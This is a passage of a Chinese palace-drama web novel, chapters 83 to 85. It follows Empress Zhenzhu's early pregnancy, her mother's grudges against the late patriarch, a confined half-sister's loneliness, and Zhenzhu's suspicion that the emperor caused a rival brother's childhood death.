太后抚掌而笑:“但凡你把他好好生下来,别说是你哥哥的亲娘来了,就是他亲爹、亲太爷从地里爬出来寻他,找他认祖归宗,我也不怕了!”
媜珠垂眸不语。
赵太后不高兴地扯了扯她的衣袖:
“做什么这样不高兴?——哎呀,你可别告诉我,你还闹着气性,不肯欢喜这孩子吧?你敢?你敢对他动什么手脚……你这没用的蠢货,我也不认你这无能的闺女了!”
媜珠连忙又摇头否认:“母亲!我并没有说过这样的话。既然它来了,六界寰宇里,它投胎托生选了我做母亲,我当然会把它好好地生下来。这是我的命,也是它的命。”
赵太后以为她还在和周奉疆置气,不以为意地道:
“其实你要还不肯服气也没什么,只要孩子生下来就行,生下来你给我抱去养,我替你们养孩子就是了。你只管生,生完了就当甩手掌柜,养育孩子的一应大小琐事都不用你操心。二十年后这孩子成人了,眼看着要继承大统了,你只管跳出来享他的福就是,天底下还能有比这更划算的买卖?”
听起来,她怀上这个孩子再把它生下来,似乎对所有人都是数不尽的好处。
对周奉疆而言,他做了人父,有了自己的孩子,他心满意足了;对赵太后而言,她有了自己的亲孙,有了自己的血脉传承;赵国公府这等世家望族的地位被稳固了;朝臣们也不用再为皇帝无嗣之事操心不尽。
太医署的王医丞一干人从龙胎身上有捞不尽的财帛之利;天下百姓得以减免足足三个月的赋税;地位卑贱如宫里的太监宫女们,在皇后怀胎、产子到这孩子的满月、百日、周岁宴上,每一次也都能有各种沾光得来的恩赏,少说那也是好几个月的月银。
哪怕是已经亡了国而被关押圈禁起来的前楚宗室们,都能因这个孩子而得到一顿美味的肉汤。
所有人的目光都盯在她的肚子上呢。
媜珠想,她要是敢对这个孩子有半分不轨之心,谁都不会放过她的。
谁都会忍不住在心里恨她八百回。
媜珠轻声答应母亲:“我会把它生下来的,母亲,您就放心吧。”
赵太后又问:“瞧你这样子,怎么一直提不起劲来似的?可是心里还有些什么委屈?”
媜珠无声叹了口气,终于忍不住道:
“我心里……可我心里就是觉得有些憋屈。他对我做了那样的事,他做出的那些事情……难道真的他就一点错也没有吗?他随心所欲,无所不能,他没有受过任何惩罚,我却要用自己的身体给他生孩子,——我还是觉得有些委屈。”
赵太后轻嗤了一声,
“那谁让他是皇帝啊。恃强凌弱,虎荡羊群,蛇食鲸吞,古来不都是这样吗?你跟皇帝讲什么道理?古往今来、天下臣民,有谁敢跟皇帝讲道理要说法的?就你受不得这点闲气?再说了,难道你娘这辈子在你爹那就不受委屈了?”
一说起这一茬,她无休无止地抱怨了起来:
“我劳心劳力服侍那老匹夫一辈子!我竭心竭力、耗尽心血给他操持着那么大的家,就算我没给他生过儿子,可我没有功劳也有苦劳啊!那他呢?他又是怎么对我这个结发之妻的?这老匹夫、老畜生、老杂种!临死了还敢叫他的小杂种小畜生儿子们来逼我给他殉葬,他真是畜生也不如!
你爹死也死了,我还能怎样和他要个道理讲个说法?我只能年复一年地恶心他,老畜生,生了一堆小畜生庶孽,还敢要什么子孙后代的香火供奉,我呸!我年年都拿些臭鱼烂虾摆到他牌位前给他吃去!把这老畜生气活了才好呢!”
她与媜珠指点道:“这人呐,活到最后就是赢家。也亏得我挺着一口气活得比你爹长,今生注定死在他后头,要不然……哼。我岂不是活该给他周家当牛做马一辈子了!媜媜,娘告诉你,好好生下你的儿女,带着你的儿女们活在你哥哥的后头,把给他熬死了,你这辈子就算赢了、顺了,等他死了,你要如何就如何,管他从前是怎么待你的!”
赵太后又抚了抚媜珠的肚皮,眼神一下变得柔和下来:
“我的好孙儿,还是你靠得住,以后好好孝顺祖母,我可是你的亲祖母。祖母百年之后,等你做了嗣位之君,以后每逢年节祭祀先祖宗庙,对你那老匹夫的祖父也不必如何上心,端两盘臭耗子骚/□□/的肉干给他尝尝就得了,你对祖母真心孝顺才对。”
媜珠询问了一下她的意见:“旧例先俗,宫中每遇皇后有妊、后妃生产,天子将率群臣告之宗庙,求先祖庇佑后嗣。明日陛下要率百官祭祀宗庙,为这孩子祈福,正逢夏日,这时节抓几只/□□/来也极好抓,那明日可就端几盘癞/□□/摆在它祖父的牌位前?”
赵太后这又摆手说不行了:“诶诶诶,那倒也不必,眼下还算是用得着他的时候,明日就用点好酒好菜摆给他罢!也不能在这关口给我的孙儿添了晦气。但求那老匹夫要几分脸,沾我孙儿的荣光吃了顿好饭,也要睁着那双眼睛在天上好好庇佑他这亲孙平安降世。——我心里是不想说晦气的话,不过,哼,但凡这孩子有半点闪失,我就砸了他的牌位刨了他的坟!”
媜珠在心中失笑,假使这孩子真的有什么不好,和它死了多年的祖父又有什么关系呢?砸他的牌位刨他的坟又有什么用?
赵太后这趟过来,主要的目的就是探一探媜珠初初有孕的心情,生怕她是不愿意生,如今这番试探下来,见媜珠倒也没有不肯生的意思,她连逢喜事,心中畅喜,既无旁的什么大事,她与媜珠闲聊几句后也就准备离开了。
媜珠正要从榻上起身送一送母亲,赵太后摆了摆手,说她孕气尚浅,怕惊动身子,不叫她多动,不必送了。
只等赵太后朝外走了数步了,她又忽地乍然想起什么没说完的话来,又折返回来,坐到媜珠榻边,望着媜珠的脸色也是欲言又止的。
媜珠笑了笑:“母亲,您这又是怎的了?是还有什么旁的话吩咐女儿吗?”
赵太后是顿了又顿,总算是好不容易地开了口,颇委婉地对她说:
“你知道你也有了身子了,何况现在月份还浅,你跟你哥哥……你们,你们以后关起门来也不能再……”
“也不能再同房了,是吗?我也不能再侍寝了。如果这孩子是足月生的,再加上产后坐月子的功夫,那就是足有一年不能侍寝了。我知道,母亲,您不用说了,我都懂得。我还知道男人全是闲不住的,这一年里他还会有别的女人——眼看着是肯定少不了的。我都能猜到。我没什么可介意的,也不会争风吃醋,我不在意这些。”
媜珠笑意盈盈,难得有一次如此精准地猜中了她母亲要说的话。
见媜珠既然什么都懂,赵太后抿了抿唇,也就把肚子里的后半截话咽了回去。
只是有句话赵太后始终没忍住说,媜媜,你不可能真的一点也不介意的。
只要这个男人是你的丈夫,不论这个女人是为了情还是为了利,都不可能一点也不介意他有别的女人。
为了情的女人介意,是因为她见不得自己的丈夫转而宠幸别的女子,她恨她的丈夫负心薄幸;
若是单纯为了利,那这个女人实则只会更加在意才对。
在意她丈夫宠幸的妾室是否会生育庶子庶女,是否会威胁到她和她儿女的地位。
承认介意其实无可厚非,介意了,然后应该就要想办法把妨碍她的人眼都不眨给除去才对。
可是到了私底下还嘴硬说不介意,那都是自欺欺人的。
也只剩下那么一种可能,
——你是不是有点爱上他了?
这一天的晚膳,被幽禁在琅琊公主府里的周婈珠得到了一份宫中的赐膳。
一盘象征着无限喜气的喜饵。
一身素淡,素淡到几近寡淡的琅琊公主身着布衣简裙,恭恭敬敬地叩首谢过君恩,她起身后慢慢打开了那盘喜饵,神情平静地询问前来赐膳的宫中女官这是所谓何喜?
女官微笑着回道,此为中宫赵皇后有孕之喜,陛下恩赏天下,朝廷百官及宗亲亦能得到一份赐膳,略沾天家恩德。
周婈珠微愣,许久后她才又敛衽向着宫城的方向行礼福身,轻声向皇帝和皇后道喜。
女官随后离开了,只留下周婈珠一人在这四四方方几近牢笼的庭院中发着呆。
被幽禁的日子并不好过。
她虽然得到了一座气派的宅邸作为她的琅琊公主府,可在她结束十年的幽禁生涯之前,这公主府里的其他地方她都不能踏足半步,她只能呆在这方自己朝夕相对的小院子里。
按照公主份例,她每月都能得到应有的月银,但现在这些银子她也同样花不出去,全都死死地存在了那里,——或许当十年后她一口气支出这十年来的月银后,她会一下变得极为阔绰。
皇帝指派了来看押和照顾她的婢女们,她往后十年都要和这几个人面面相觑,她不能随意更换侍奉自己的人,也不能想用谁就用谁。
这些婢女也几乎从不主动开口和她说任何话,更不会告诉她宫外都发生了些什么。
什么大事小事新鲜事,一切都和她这个被幽禁的罪妇无关。
哪怕是外头的天塌了,她被关在这里头也不知道。
时间于她而言仿佛就被这样静止住了。
这是她为她犯下的罪孽而付出代价的十年,是她生命中丢失的十年。
她想,当十年后她终于能踏出这方牢笼时,她会不会变成整个长安城最碎嘴的一个疯女人,她会每天都游走在各种命妇女眷们之间,开始疯狂地和她们打听过去的十年里都发生了些什么。
今天,得知她妹妹周媜珠有孕的事情,算是她自被幽禁以来听到的第一件关于外界的消息了。
第84章
夜色沉寂,夏夜微风,同一片月光,飘在了不同人家的屋檐横瓦上,落下来的就是不同的心事了。
长安城里各色各样的人做着各种各样的梦,他们去梦的,是自己的来日,是自己往后要谋划的事。
然而对于周婈珠来说,在这十年里,她是个没有“未来”的人。
外界的一切悲欢喜乐大抵都与她无关了,她唯一剩下能做的,似乎就只有回忆她的过往。
可过往又并不是那么美好。从她生母离世之后,她的人生就剩下了了无趣味的一层灰败。
后来张道恭的出现曾经使她一度燃起希望,让她想要为自己去搏一搏,结果呢,等搏到了手,她又发现这些竟是这样的不值得,她的青春,她的年华,都枉费在了不值得的人身上。
这个夜晚里,撩动周婈珠心弦的,是“孩子”这两个字。
孩子,她的亲妹妹周媜珠也有了孩子了。
十个月后,周媜珠也要成为人母了。
时光可真奇妙啊,眨眼间,她们姐妹手足各自全都长大成人,竟然也纷纷有了自己的孩子了。
其实她们的四妹妹颍川公主周芩姬更早就有了一子一女两个孩子了,但那时这些尚并没有给周婈珠内心多大的冲击。
可是直到今天,周媜珠也有了身孕。
周婈珠从榻上披衣而起,行至外室,望着从窗外渗漏进来的皎洁月辉,有些愣愣地抚着自己的腹部。
她也嫁过人,她也曾满心期盼会有一个自己的孩子。
当年使计顶替周媜珠嫁给还是河间王的张道恭做了一个侧妃,张道恭虽然从来都没有爱过她一星半点,但这并不影响他还是会把她当成他的一个女人,偶尔会宿在她那里,宠幸她。
她曾经无比渴望有一个孩子,一个她的骨肉至亲,她和心爱之人的孩子。
可惜直到最后她和张道恭分道扬镳之时,她都没能如愿。
起先张道恭还没亡国的那一阵,他对她的宠幸也只是偶尔,哪怕她喝上再多的坐胎药,这也不足以叫她能很快的怀有身孕。
再到后来,突逢国难,垂泪别社稷,一路颠沛流离、四处逃亡之中,张道恭自己也是身心俱疲,更难有什么精力……,哎,到底巧妇难为无米之炊,她就更不好再多说什么了。
想到孩子,她拢了拢身上披着的寝衣,在这圈禁着她的、充满孤寂意味的房中,她忽然感到了一阵无由来泛上心头的寂寞。
似冷又似热,一下子仿佛就钻入了她四肢百骨、五脏六腑的每一个角落,顺着鲜血流遍了她的全身。
凄凉,寂寞,孤苦,那都是冷的,那本该是冷到让人骨子里发颤的痛苦。
但游走在她皮肉肌肤之上的,偏偏又是泛着一层层痒意的灼热。
她缓缓呼出一口浊气,不自觉地握紧了自己的十指。
她已经二十多岁了,她不再是女孩儿了,是个早已经历过男女人伦之事的妇人。
上一次……是在什么时候?
她做过张道恭的女人,张道恭上一次让她稍稍得到几分慰藉,以一个男人的身份让她得到些许趣意,是在什么时候?
周婈珠咬牙切齿地仔细盘算了许久,最终她徒劳地发现,她记不清了。
她根本记不清了。
也许那是在很久很久很久之前,他也曾一展雄风让她有过几分快意,但因为时间太过久远,现在的她根本记不得。
也许那就是从来没有过。从来、一次都没有过。
这个认识让她发现自己竟是这般彻头彻尾的可怜。
这一夜,她不禁对月而恨。
她作为一个女人,生来是妾室所出的庶女、注定得不到自己父亲的偏宠,注定得不到安稳的人生、尊荣的名分,这一切一切身外之物,她都认了,她都能认命,她觉得这是她前世修孽,今生以命数还债。
那为什么她连那点最廉价、最唾手可得的一点酣畅淋漓的快意也得不到?
为什么连那最不值钱的快乐,她都不曾体会过?
她可真恨啊。
她渐渐松开了自己紧握的双手,身上披着的薄薄的寝衣滑落在地,月光轻轻落在了她胸口的肌肤上,她还那样年轻,柔嫩,也不失美丽。
段充。
她忽然在这一刻默念了他的名字。
可是很快,羞耻和愤慨又使她不得不在自尊心的驱使下清醒了几分。
他只是她一个低贱的侍卫而已!
卑贱如此,匍匐在她脚下称臣的侍卫,他怎么配!
就算再落魄,她现在也是公主,她还是前朝俪阳公主的亲孙女,她骨子里注定流淌着高贵的血脉,她和他不是一路人,他连亲吻她足下的尘土都不配。
媜珠这一夜睡得倒还算好。
在得知自己初初有孕后的第一个夜晚,每个女人都是怀揣着何等心情入梦的?
别人如何媜珠不知道,但她知道她自己的大脑是轻松而放空的,她甚至让自己什么都没有多想,就这样枕着绣被一夜好眠。
晚间周奉疆来陪她用过晚膳,她白日里和他单方面吵赢了一仗,两人本是有些不欢而散的,但晚上他再过来时,她懒怠再提上一场旧仗,他也没再开口说什么会惹她生气的话,一顿饭吃下来算是相安无事。
饭毕,他本欲有几分想留宿在这里的意思,媜珠借着孕肚一声不吭地以沉默拒绝了他,他倒不曾强求,也就认了,在这陪她坐了一阵,看着她上床歇下,他便默默离开。
要不怎么说灿娘子是真的舔过皇帝的龙血后一下通了灵智,真像个会察言观色的猫妖了,自赵太后说过不许它再上榻后,晚间它就只敢老老实实的趴在床下一角守着媜珠,并不敢上榻去。
或许它是在用这种方式的让步,为自己博得几分能够继续留在媜珠身边的底气。
然而有人似乎看它还是不太顺眼,像是故意要和它作对似的,周奉疆临走前柔声提醒了媜珠一句:
“媜媜,灿娘子趴在你榻边的地上,夜里你若起身,先叫宫人进来给你点灯,服侍你起来,免得不小心被它绊倒了摔着。”
它已卑微至此,仍旧免不了被人挑几分刺出来,气得猫儿斜起一双圆圆的猫眼瞪着他,周奉疆看媜珠还是不言不语,最终也不再多说什么。
待脑海中倦乏之意涌上四肢,媜珠拥被阖眼睡下,半梦半醒之间,她似是感觉到那已经离去的人去而复返,沉默地站在她的床边静静地看着她的睡颜。
她记不得他到底待了多久,只记得他最后离开时俯身极怜爱地吻了吻她的额心,又辗转到她的唇上,继而是她柔软的腹部。
那是不掺杂丝毫情欲的亲吻,是满满的情意,怜惜和宠溺,甚至还让她从中读出了几分小心翼翼的虔诚。
有一瞬间,她甚至恍惚地感觉是她从前的兄长回来了。
这个认知让媜珠甚至还想咬着被角在深夜里委屈地低声抽泣起来。
她没有记错,他从前的确是真心爱过她的。
——以一个兄长疼爱妹妹的身份,不带有任何淫邪下流的欲望,只是单纯的怜惜、呵护与疼爱。
后来他就变了。
后来他得到了她丈夫的身份,他可以更加光明正大地随意亲吻她,随意到了完全是肆意的程度。
可他做她的丈夫,真的比做兄长时候更好吗?
未必。
不知道他自己有没有发现,当他是她的丈夫时,他每一次亲吻她,都只是为了泄欲和她同房前的那点铺垫。
每次亲吻她,都是带着欲望的,都是为了男人下半身的那点事情而已。
最糟糕的是,当他以一个既是她兄长、又是她丈夫的身份出现在她面前时,——那段时间简直是媜珠人生中最痛苦的一段时日。
他根本就不是人。
第二日恰好是七月初一,每月初一也正是一月里重要的大日子,赵太后也说是好日子,皇帝率群臣百官及宗亲祭祀先庙,告之先祖皇后有妊一事,为皇后腹中胎儿祈得祖先神灵庇佑。
媜珠用早膳时漫不经心地问了一句:
“我父亲、祖父祖母和先祖他们,真的会庇佑我腹中的孩子吗?”
佩芝却犹有几分意味深长地随口说了一句:
“那又如何?他们不庇佑娘娘腹中周家的血脉,又要去庇佑谁呢?”
这话说得似乎倒也算是个道理。
未央湖上的那一夜,郑夫人最后给她的儿女们的解释是,
——那是她多年前丢在北地的一个亲外甥。
她说,那是她早逝的亲姐姐最后留下的一个儿子,然而当年就在她和她丈夫自北地返回江南扬州时,她不小心弄丢了这个孩子。
这么多年来,她的内心一直处于浓浓愧疚之中,她知道那个孩子若是活了下来,想必也在恨她,他一定会觉得是她故意丢下了他,可她如何又是那等狠心毒辣的姨母呢!
话说到此处,她的两个儿子和两个女儿皆纷纷出言安慰附和:
“阿娘!阿娘也是无辜的,这路途颠簸,谁知道会出了这样的岔子,再说了,要不是这大姨母家的表哥自己贪玩走丢了,阿娘怎么会和他失散怎么多年?”
“对了阿娘,那,那咱们家之前在扬州时,那个给您送来十箱黄金的远亲,就是您的这个外甥了?他后来发迹了?又为何不来与阿娘相认呢?”
郑夫人又赶紧解释道:
“是他不肯来见我,他一直恨我把他丢下,但是又说好歹我还在他母亲死后养育了他几年,到扬州时就给了我十箱黄金,说是还清旧日恩情,以后和我两不相欠,并不肯见我。
我在那湖上是听见了他的声音,认出了他,听他正和自己媳妇拌嘴,两人吵得要死要活的,便想着见一见他,好歹出言规劝一番,总归我是他的长辈、姨母,不好叫他已经这样孤零零一个人了,还和自己媳妇也处不好,实在可怜。”
得知真相若此,谢家兄弟姐妹四人相互感慨一番,没有不信自己亲娘的道理。
谢秉清又追问了一句:“母亲,那我的那位表哥……表哥与表嫂,是否就是我和母亲在未央湖畔遇见的那对夫妻?”
“怪道怪道,我说我那表哥当真有王侯将相之姿,天潢贵胄之态,绝非凡夫俗子。对了母亲,我那表哥他是何姓名,如今又机缘巧合在长安哪处高就?”
原来那让他颇为倾心的女子,竟然是自己亲表哥的妻子,是他的表嫂。
谢秉清一想起此事,面上就是一阵火热的羞臊与尴尬。
郑夫人搪塞了过去:“不提也罢,他心中一直恨着我,还是不肯原谅。如今他也成家立业了,也瞧不上和咱们这等人家攀附,咱们去知道他做什么呢?我在未央湖上见他一面,也就是想着解一解他的心结,和他说清当年的真相而已。哎,现在不提他也罢!”
这场风波在谢家也就这样被掀了过去。
谢秉清所在任职的鸿胪寺,主掌迎外宾、朝会仪节之事,诸如四夷番邦诸国,朝贡、宴劳、给赐、送迎之事,鸿胪寺皆有涉及之。
是以,在谢秉清当着这个鸿胪寺主簿的数月时间里,谢家众人倒也跟着长了不少见识,听得谢秉清零零碎碎讲了许多别的四海藩国的新鲜趣闻。
七月初的一日,谢秉清从官衙中当值回来,手中喜气洋洋地拎着些描金红纸封着的物件,刚一入家门,家中小厮连忙接去了。
郑夫人见今日儿子归家比平日晚些,便问了一句可是官衙里近来的差事重了,又问这些东西是何处来的,瞧这模样还格外精致贵重。
谢秉清笑着回道:“是宫里的皇后娘娘有妊,国之瑞兆,大喜也!朝廷赏赐下来的,给咱们沾沾喜气的一些恩赏之物。”
郑夫人微愣:“皇后有孕?皇后有身孕了?”
谢秉清说是:“当真是上上大喜啊,立国后的第一个龙胎,我也是听上峰同僚们那里传来的话,说今日陛下率朝臣祭祀宗庙,心情大悦,必然是极看重皇后娘娘这一胎的。”
郑夫人的笑意有几分隐隐的不自然,“那也是了,到底是快三十岁了才有的第一个孩子,肯定在意。——对了,大郎,今日就为了分赏这些物什,所以才归家这般迟吗?”
谢秉清摇了摇头:“这倒不是!是那被前楚末帝张道恭嫁去西域龟昌的长沙公主,要归国了,我们鸿胪寺要主管操持长沙公主归国诸事,近来就够我们忙的了。”
谢家人倒是不曾听说过这号人物,他们还有一连串问不完的问题:“哪个长沙公主?龟昌是什么国?如何就突然要归国了?”
谢秉清囫囵喝下一大口茶水:
“听说是当年……在前楚时便让当今陛下名扬两京的那位长沙公主啊。”
那一年是前楚代宗皇帝的至宁十七年。
第85章
有时媜珠又想想,也许她和周奉疆在这个年纪有一个孩子的确并不能算“意外”。
单单只以所谓“夫妻”身份来说,他们早就该有孩子了。
而这个孩子现在选择出现,她也只能顺其自然般地选择将它生下来。
之后的数日时间里,媜珠在椒房殿内的日子过得竟然格外平静而安稳。
她母亲和周奉疆都不让她再去忙宫中的任何事情,一应宫务琐事皆交由她母亲代管,他们只让她遵照王医丞等医者的嘱咐,叫她在有孕初期卧床静养,勿动心气,少忧杂事。
宫外的王妃公主命妇女眷们得知皇后有孕,自然要携礼纷纷入宫道贺请安,这些人也不敢随意踏足椒房殿内,都只去太后的宫里。
赵太后是有闲心应付这些人的奉承的,短短几日里,她收礼也收得快要堆不下一座库房了。
她不叫媜珠再过去给她晨昏定省地请安,反而是她偶尔有空会过来亲自看看媜珠,话里话外间对着媜珠也都是说她天生命好,又回忆起她昔年怀着媜珠时哪有这样的好命,让她千不愁万不忧地只管把孩子生下来就好?
一面怀着媜珠,一面她还要应付太多人不怀好意的目光,还要挺着有孕之身牢牢把住掌家大权不肯撒手,以冀州侯夫人的身份把家里家外一干大小事宜打点地井井有条。
赵太后闲翻了几本史书,又乐哄哄地想出了新主意来使唤媜珠去做,她因道,史书里那些要做皇帝的人,皇帝生母们有妊时皆有异象,若无天降异象,那就都靠自己编。
比如说自己怀胎时做了怎样怎样的祥瑞之梦,梦到金龙嬉戏、麒麟瑞兽等等,以此来为自己腹中孩子的出生去造势。
没有天降异象,没有上苍托梦,几个皇帝还好意思说自己是天生注定要做人君的?
赵太后是个又慈爱又高瞻远瞩的祖母,她也为她的孙子操碎了心,大抵她也是从此中得到的灵感,非逼着媜珠亲自开口向外面嚷嚷,说她在有妊后梦见有一条金龙入梦,金龙围着她转圈遨游,最后又化为一男婴,静静地躺在她怀里。
她还教媜珠一定要详细和旁人描述一下,——那个金龙是五爪的。
媜珠虽自认不是什么冰清玉洁有高世之德之人,但叫她厚着脸皮在外面吹嘘这些事情、靠着撒诈捣虚去吹捧自己的孩子,她还当真做不出来,因此屡次拒绝了赵太后的好言提议。
赵太后见叫不动她,神色还有些气急败坏,说她是迂腐不可救,但最后拿她也无可奈何。
周奉疆也会来看她。
他是每天都来,每天至少会陪她一起用一顿膳,在她这里待上一会再走。
也许是因为一个有孕初期的女子实在虚弱得没有多余的精力了,每次他再来,媜珠并不会刻意摆上脸色和他置气,她变得平静了许多,但也几乎从不主动开口跟他说话。
他会问她几句,问她可还好受,身上累不累,媜珠中规中矩地简单回答两句,两人也就再没什么多余的话可说了。
——其实,如果要继续掰扯旧账吵架的话,那两人应当还能再吵上几天几夜也不停歇的。
这么一想,他们似乎又很可怜,认识了二十多年了,曾经最亲密无间的人,现在除了吵架之外,好像就没有别的话还可以说。
谁能想到这将是一对为人父母的夫妻。
七月中时,皇帝和三省的官员们定好了为皇太后所上的尊号为“圣昭”二字,又基本将宗室中的近亲们都封赏了一遍,算是同蒙圣恩,以显陛下仁慈之意。
就连先帝周鼎那些早已死去的妾室们,位分基本也都被往上提了提。
对于这些女人死后的哀荣与名分,看似是皇帝的封赏,其实最后还是赵太后在安排。
但很显然,赵太后这种出于私心的安排未必显得那样合理。
对她来说,那些从前在冀州侯府里没有惹过她生气的女人,被追封成为周鼎的贵妃她也不介意,不论那些女人生前的地位是否卑贱,不论这些女人有没有过生育上的功劳。
然而那些让她心中不痛快的人,即便为先帝生下过好多个孩子,有着多大多大的功劳,她却吝啬得连个昭仪、美人的名位都不肯给。
这样就形成了一种颇为诡异荒唐的局面。
比如周鼎几十年前随手宠幸过养在家里的一个伶人出身的妾室,就因为在赵太后面前唯唯诺诺不敢惹她生气,并且还曾殷勤侍奉赵太后,赵太后现在就大方地追封她为贵妃,还恩赏她父母一些虚衔和诰命。
为周鼎生下他庶长子并且统共生育了两子两女的贵妾,赵太后抠抠搜搜地只给她抠出一个“淑仪”的死后名分。
不知道是不是皇帝的恩赏给出去了,让旁人觉得他当真又仁慈又好说话的意思。
这几日又总有些闲得发慌的文官们给皇帝上书,开始指手画脚地指示皇帝说,先帝从前亡故了的那些嫔御和子嗣儿女们,陛下对他们的恩德是不是太薄了呢?
就比如那位唐淑仪,以她生下先帝庶长子、先帝第一子的功劳,她才是最该被追封贵妃的,而不是那个什么出身卑贱又没有为先帝生过一个孩子的伶人。
不只是她应该被追封贵妃,先帝的长子名分贵重,又因为幼年夭折,曾让先帝一度为之伤心不已,怎么说也该追封他王爵才对,可是陛下至今对他没有任何恩赏,是不是有些不恰当呢?
既然有人开了这个话头了,朝臣们掰着先帝的族谱算一算想一想,也觉得这话的确没错啊。
追封自己养父的长子,既是感念养父的恩德,合乎礼法,又能彰显皇帝重情重义,本来就该是皇帝做的事情,怎么还需要旁人提醒呢?
他们知道皇帝和先帝的亲生儿子们闹得都不大愉快,前前后后这些亲生儿子们因为争权夺利也被他杀了好几个了,前段时日的穆王甚至还是直接在闹市、当着围观百姓们的面前被砍了脑袋的。
这些人死后也是一介白身,也是得不到半点名爵追封的,他们不敢为这些人伸冤哭诉。
可是先帝的长子周奉尧十二岁那年就早早夭折了,他总没妨碍到后来的皇帝什么吧?
皇帝干嘛和他过不去呢。
您封他个什么楚王、吴王、燕王、齐王的,再封他生母一个贵妃淑妃德妃的名分,这不就是您动动手指写两个字的功夫?
成全的也是您自己的名声啊,免得叫人议论您刻薄寡恩。
何况人都死了,您就是封他一个玉皇大帝,他也不吃朝廷的俸禄,不多花朝廷一分钱养着他。
对于这些人的聒噪议论,周奉疆近来心情好,并没有对着他们发火,但他仍是在批复臣下们的奏章上留下了一句被载入《魏太祖本纪》里的经典名言:
“此朕之家国也。再议杀。”
朕是周家的主人,也是王朝的主人,谁再敢多嘴一句,朕就杀了你。
这事渐渐地也就飘进了媜珠的耳中。
周奉尧。
媜珠也忽地从沉封多年的记忆里回想起了这个人。
他是她血亲上的大哥哥,是她父亲的庶长子。
——她父亲临死前要将家业传给当时的“庶长子”周奉鸣,也是命周奉鸣去赐死她的母亲,但实际上当时的周奉鸣序齿第三,并不是他父亲实际意义上的长子,只是他最后剩下的那些儿子中的老大。
她父亲真正的第一个孩子,在家中排行第一的长子,乃至唐淑仪所生周奉尧。
以“尧”为他取名,也足以可见她父亲当年对此子的器重和对自己的自负。
父亲从前的确在这个庶长兄身上下了太多太多栽培的心血了,后来如果不是这个庶长兄十二岁那年骤然夭折,再再后来还轮不到周奉鸣的上位呢。
也是自周奉尧夭折后,父亲教养儿子们的心血一下被打击大半,对他剩下的几个儿子们也多有种“灰心”的意思,致使剩下的那些儿子们更加无能不中用起来。
周奉尧死时,媜珠那年才六岁,记忆也是懵懵懂懂的,并不真切。
不过她隐约还能记得,周奉尧他们母子五人大约和她母亲不大对付,这应该也是现在赵太后在他们母子死后名分上抠着不放的缘故。
唐淑仪生前为周鼎生下庶长子周奉尧,第四子周奉添,第五女周茹,第六女周茵,不可谓不得宠。
而她也仗着儿女颇多,以贵妾的身份和赵太后打了十二年的擂台。
虽然家中大事上都是赵夫人这个主母说了算,周鼎也没有那个宠妾灭妻的打算,然而在女子的后宅之间,唐氏还是以她自己的方式牢牢占据了半壁江山,家里其他妾室们多有归顺唐氏,暗中以唐氏为尊者。
为什么是十二年呢?
因为周奉尧正好是十二岁死了的啊。
周奉尧一死后,唐氏自知自己已是兵败如山倒,她的第四子早已夭折,现在膝下唯有二女,而她多次生育,胞宫受损严重,身子也已被掏空,再不能生育了。
不能生育,不能再生出儿子来,她一个妾室,此生已经再没有半点指望了。
嫡妻赵夫人只生了一个媜珠,身子康健,她都还有再生育的希望,而她呢?
她还能拿什么和主母去斗?
所以就在周奉尧死后半年,心灰意冷、万念俱灰的唐氏便郁郁而终,死前她形容枯槁,满头白发,宛若五十来岁的妇人。
再不复昔日的骄傲风光。
她死后不到三月,曾经属于她的院落也被周鼎新封的一房妾室住上,一切都仿佛她这个人从来都没来过。
赵夫人则含笑打赢了她的又一仗。
现在再回忆起这些旧事来,媜珠自然又多了一重心境了。
她知道母亲这些年躲过无数明枪暗箭的心酸苦楚,凡事都要以自己母亲为先。
母亲不喜欢的人,她当然也不喜欢,更不会为了唐氏母子去求什么名分荣华了。
只是……
忽然之间,媜珠抚着自己的肚腹,在脑海中莫名其妙地生出了一个诡异的念头。
猛然有一股直觉告诉她,周奉尧的死,其实和周奉疆脱不了干系。
说得直白些,她觉得周奉尧就是周奉疆杀了的。
即便那一年他们两人都才十二岁。
但她就是觉得,以周奉疆的为人,这是周奉疆能做得出来的事。
周奉疆为什么要杀周奉尧?
不只是因为他和他的养母站在一个阵营里,更有一重因素是周奉尧一母同胞的亲妹妹周六娘曾经被人教唆着侮辱过他的生母。
这些点点滴滴的琐事,媜珠以为自己会忘记,然现在却又能一桩桩一件件全都清清楚楚地想起来了。
……
有一年她和周六娘拌嘴吵架,周六娘和媜珠炫耀,说她的生母唐氏生了四个孩子,她有自己一母同胞的哥哥和姐姐他们。
媜珠就和她反驳,说她也有一个一母同胞的亲哥哥周奉疆,她哥哥对她可好了,一点也不比周六娘的哥哥姐姐们差。
周六娘等的就是她这句话,对她哈哈大笑,说周奉疆的生母只是一个暗娼妓子啊,三姐姐你怎么能和他一母同胞!
一个简简单单的玩笑,把赵夫人、媜珠和周奉疆三人全给侮辱了一遍。
而周六娘子的玩笑话,很显然并不是一个几岁的小孩子能想得到的,那肯定都是大人教的。
然那时候唐氏得势,赵夫人强忍着恶心,也不好和一个小小的庶女计较,只能自己关起门来生闲气。
……
一个月后,支撑起唐氏母子几人如此傲气凌人的庶长子周奉尧,死了。
就这么死了。
他的死真的只是个简单的意外吗?
媜珠的手指抖了抖。
她这一刻突然很想当面找到周奉疆对峙,想问一问周奉疆,到底是不是他。
不是等他来了,她再顺便问他。
而是她想自己主动拿着这个疑问,她主动站到他面前去,问问他这和他有没有关系。
——他的确看起来就像是能做出这种事的人。
其实他承不承认她都不能拿他怎样,只不过,如果这件事真的也是他干的,那他……那他的确比她想象中还要恐怖无数倍。
媜珠这一日忽地来了兴致起身要往外头去逛逛,佩芝和宫人们想着她身子还算稳妥,的确不能整日闷着,偶尔出去走走也是好的,遂也就给她梳妆更衣了一番,陪她一起出去了。
直到走到了宫中花苑里,媜珠一下调转方向要往宣室殿里去,佩芝她们到这时也没觉得有什么可奇怪的,还以为她是终于改了常了,要和皇帝缓和关系了。
是以当媜珠入宣室殿时,宣室殿内的宫人和黄门侍郎们无一人敢阻拦的,甚至还殷勤地为皇后引路。
彼时周奉疆正在政事堂那边和朝臣们议事,并不在他的书房里。
媜珠叹了口气,说不必打扰皇帝,等皇帝议完事后回来她再和皇帝说话。
黄门侍郎们小心翼翼地伺候这位难得一来的皇后,立刻为她奉上茶水点心等等,供皇后在此等候时解闷。
媜珠在周奉疆的书房内坐下静等,她很少主动来他这个在宣室殿里处理国事的书房。从前会来,也只是因为他的召见。大部分时候他都是召她过来陪他用膳。但媜珠后来还是颇为抗拒。
因为周奉疆的确太不是个东西了。
